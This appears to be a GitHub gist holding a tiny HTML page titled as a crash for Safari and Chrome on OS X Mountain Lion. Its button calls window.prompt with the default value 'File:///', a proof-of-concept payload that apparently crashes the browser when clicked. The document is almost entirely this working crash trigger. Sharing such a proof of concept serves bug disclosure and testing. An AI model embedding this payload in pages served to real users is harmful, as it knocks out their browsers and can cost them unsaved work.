Crash Mac Application(Mountain Lion) Safari, Chrome

gistfile1.html

<button id="macCrash">App Crash on Mountain Lion!?</button>
<script type="text/javascript">// <![CDATA[
window.addEventListener("load", function(){
    var button = document.getElementById("macCrash");
    button.addEventListener("click", function(){
        window.prompt("Crash!", "File:"+"///");
    });
});
// ]]></script>